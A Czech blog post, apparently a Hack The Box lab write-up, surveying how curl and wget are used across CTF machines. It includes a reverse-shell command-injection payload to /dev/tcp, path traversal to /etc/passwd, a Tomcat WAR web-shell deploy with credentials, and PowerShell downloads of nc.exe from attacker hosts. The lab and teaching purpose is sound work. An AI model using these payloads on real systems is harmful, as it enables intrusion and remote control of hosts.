tom@home.htb:~$

Blog o HTB

4 January 2020

wget a curl

Úvod a kontext

wget a curl se v rozborech objevují skoro všude, ale většinou jen na jeden nebo dva příkazy. To dobře odpovídá jejich skutečné roli. Nejsou to exploit frameworky ani plnohodnotné skenery. Jsou to dvě velmi praktické utility pro okamžik, kdy je potřeba přesně stáhnout, odeslat nebo zrcadlit konkrétní HTTP obsah a nechcete kvůli tomu vytahovat těžší tooling.

Na Controlu nebo Secretu curl přesně skládá request s hlavičkami a tokeny. Na OpenAdminu, Fortress Jet nebo Registry je naopak praktičtější wget, protože jde o stahování webu, artefaktu nebo chráněného souboru. Smysl těchto nástrojů je tedy jiný než u Gobusteru nebo Dirsearch: nehledají útokovou plochu, ale pomáhají přesně pracovat s tou, kterou už znáte.

Co tyhle nástroje v praxi řeší

Oba nástroje umí HTTP, ale jejich praktická síla je trochu jinde:

Právě proto se na blogu často střídají. Jakmile je potřeba sestavit jeden přesný request, vede curl. Jakmile jde hlavně o stažení nebo zrcadlení, bývá praktičtější wget.

Nejčastější scénáře využití v tomto projektu

curl: ruční HTTP request s hlavičkami a přesným tělem

Na Controlu nestačilo otevřít admin.php v browseru. Rozhodující byla specifická hlavička:

curl -H "X-Forwarded-For: 192.168.4.28" http://control.htb/admin.php

Tady curl neřeší exploit. Jen dovolí přesně nasimulovat to, co backend považuje za důvěryhodný provoz.

Na Secretu je stejná logika vidět ještě čistěji. Endpoint nevyžadoval jen URL, ale i JWT v nestandardní hlavičce:

curl -i -H "auth-token: <admin-jwt>" "http://10.10.11.120:3000/api/logs?file=.env;whoami"

Na Devzatu se zase curl hodí jako nejjednodušší způsob, jak poslat JSON do API a okamžitě ověřit LFI i command injection:

curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"../../../../../etc/passwd"}'
curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"cat;/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'\''"}'

To je přesně chvíle, kdy browser přestává být pohodlný a curl je nejrychlejší cesta k opakovatelnému requestu.

curl: práce s localhost a interními API po footholdu nebo pivotu

Jakmile je získaný shell nebo postavený port forward, curl často slouží jako jednoduchý průzkumník interních služeb.

Na Luanne po user footholdu vrací lokální endpoint soukromý klíč:

curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa

Na ServMonu jde přes lokálně přeposlaný port nahrát skript do NSClient++ API a následně ho spustit:

curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/nc3.bat --data-binary @nc.bat
curl -s -k -u admin "https://localhost:8443/api/v1/queries/nc3/commands/execute?time=3m"

Na Tentacle se stejný nástroj používá přes Proxychains, protože cílová služba není dosažitelná přímo:

proxychains curl http://wpad.realcorp.htb/wpad.dat

To je praktický pattern, který se opakuje i v dalších článcích: jakmile je interní služba nějakým způsobem dosažitelná, curl je první rychlá volba pro její ověření.

curl: uploady, deploy a doručení payloadu

curl se v projektu často používá i jako čistý transport pro payload nebo deploy artefakt.

Na Tabby nahrává WAR přímo do Tomcat Manageru:

curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/

Na BountyHunteru zase stačí jediný přesný POST s base64-encoded XML, aby bylo možné ověřit XXE workflow. A na Cerealu curl slouží k prostému doručení binárek na host po získání user přístupu.

V tom je jeho síla: pokud endpoint už znáte a potřebujete jen přesně trefit jeho vstup, není nutné sahat po těžším toolingu.

wget: rychlé stažení artefaktu a payload delivery

wget je naopak nejsilnější tehdy, když není potřeba řešit složité hlavičky, ale jen spolehlivě stáhnout obsah.

Na Bankrobberu a Buffu slouží k doručení pomocných souborů na host:

wget http://10.10.14.11:8000/brute.ps1 -outfile brute.ps1
powershell "wget http://10.10.14.9:8000/exe/nc.exe -outfile c:\programdata\nc.exe"

Na Registry je dobře vidět i druhá silná stránka wget: pohodlné stažení chráněného artefaktu z HTTP endpointu s autentizací.

wget --http-user=admin --http-password=admin \
  http://registry.htb/install.php.bak

Na TheNotebooku nebo Irkedu se objevuje úplně stejný pattern. Nástroj neřeší exploit. Jen výrazně zjednoduší přenos konkrétního souboru.

wget: zrcadlení webu a offline čtení statického obsahu

Na OpenAdminu a Fortress Jet je důležitější jiná vlastnost: wget a podobné utility umí web jednoduše stáhnout nebo zrcadlit tak, aby šel procházet offline.

wget -r -nd --delete-after -nv --ignore-tags=img,link,script http://openadmin.htb/music/

Když je web záměrně chudý, ale ve statickém obsahu se schovává další cesta, bývá takové stažení rychlejší než ruční proklikávání. Pro plnohodnotnější zrcadlení celého stromu je ještě praktičtější Httrack, který na stejný problém míří systematičtěji.

Bohatý CLI nástroj jako útoková plocha

Unicode ukazuje důležitou obrácenou perspektivu. Tam nebyl problém v tom, že by útočník curl používal přímo. Problém byl v privilegovaném wrapperu treport, který sestavoval shellový příkaz nad curl z uživatelského vstupu:

cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'

Proto je dobré vnímat curl i obranně. Má hodně přepínačů a když se jeho parametry skládají nesprávně, uživatel neovládá jen URL, ale celé chování nástroje. Praktický problém tedy často neleží v curl samotném, ale v tom, jak ho volá okolní aplikace.

Kdy dává smysl curl a kdy wget

curl se vyplácí hlavně tehdy, když:

wget se vyplácí hlavně tehdy, když:

Naopak ani jeden z nich není ideální jako první objevovací nástroj. Když teprve hledáte útokovou plochu, dává větší smysl WhatWeb, Gobuster, Dirsearch nebo Wfuzz.

Nejčastější chyby v praxi

Zaměnění přenosu za exploit

Na Controlu, Secretu i ServMonu curl jen doručuje správně sestavený request. Samotná zranitelnost leží jinde:

Stejně tak na Buffu, Registry nebo TheNotebooku wget není “útok”, ale čistě transportní vrstva.

Příliš dlouhé zůstávání u browseru nebo GUI klientu

Jakmile je potřeba opakovat stejný request s malými obměnami, browser začíná brzdit. curl v takové chvíli zkrátí cestu mezi hypotézou a ověřením.

Jakmile je potřeba stáhnout víc souborů nebo obsah analyzovat offline, totéž platí pro wget a podobné download utility.

Ignorování interní dosažitelnosti

Na ServMonu, Luanne nebo Tentacle nebyl hlavní problém v syntaxi požadavku, ale v tom, jak se k endpointu dostat. curl je užitečný až ve chvíli, kdy je vyřešený port forward, proxy nebo foothold.

Podcenění toho, co všechno curl umí

Právě Unicode připomíná, že wrapper nad curl není bezpečný jen proto, že “stahuje soubor”. Jakmile vstup ovlivní parametry, může uživatel měnit i výstupní cestu nebo další chování nástroje.

U wget je zase častá chyba představa, že je vhodný pro všechno. Jakmile je potřeba složitější práce s hlavičkami, tokeny, JSON tělem nebo metodou PUT, bývá rychlejší přejít na curl.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

HTB Stroje

Techniky

Nástroje

tags: nastroje - web - http - api - headers - localhost - file-transfer - download